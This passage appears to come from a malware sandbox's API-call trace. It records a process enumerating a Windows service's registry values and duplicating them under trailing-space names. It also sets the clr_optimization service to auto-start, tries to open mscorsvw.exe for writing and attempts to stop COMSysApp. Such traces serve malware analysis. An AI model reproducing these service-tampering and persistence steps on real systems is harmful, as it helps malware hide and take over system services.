lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.837] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.837] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.837] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.837] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.837] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.837] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.837] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.837] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.837] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.837] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.837] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.838] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0215.838] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0215.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0215.886] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0215.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0215.886] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.886] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.886] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.886] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.886] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.886] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.886] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.886] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.887] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.887] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.887] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.887] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.887] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.887] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.887] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.887] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0215.887] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0215.887] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0215.887] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0215.887] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0215.887] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.887] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.888] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.888] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.888] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.888] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.888] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.888] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.888] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.888] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.888] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.888] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.888] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.888] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.888] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.889] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0215.889] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0215.889] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0215.889] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0215.889] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.889] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.889] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.889] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.889] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.889] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.889] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.889] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.889] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.889] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.890] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.890] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.890] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.890] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.890] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0215.890] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0215.890] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", cbData=0x3b | out: lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe") returned 0x0 [0215.890] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" [0215.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0215.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0215.890] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.890] LocalFree (hMem=0x7f03d0) returned 0x0 [0215.890] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", cbData=0x3b | out: lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe") returned 0x0 [0215.890] OpenServiceW (hSCManager=0x803918, lpServiceName="clr_optimization_v2.0.50727_32", dwDesiredAccess=0x2) returned 0x8038a0 [0215.911] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0215.914] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0215.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0215.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0215.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0215.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d568) returned 1 [0215.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0215.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e5048) returned 1 [0215.914] RegCloseKey (hKey=0x148) returned 0x0 [0215.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0215.914] RegCloseKey (hKey=0xc4) returned 0x0 [0215.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0215.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0215.914] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorsvw.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe43ab94, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xfe43ab94, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x65bf4000, ftLastWriteTime.dwHighDateTime=0x1c9e95e, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0215.914] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorsvw.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0215.915] GetLastError () returned 0x20 [0215.915] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0215.915] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0215.915] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0215.915] OpenServiceW (hSCManager=0x803918, lpServiceName="COMSysApp", dwDesiredAccess=0x20) returned 0x803990 [0215.916] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0215.916] GetLastError () returned 0x426 [0215.916] CloseServiceHandle (hSCObject=0x803990) returned 1 [0215.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0215.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0215.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0215.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0215.917] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0215.917] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0215.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0215.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1b68, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0215.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.917] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0215.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0215.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0215.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.917] RtlFreeHeap 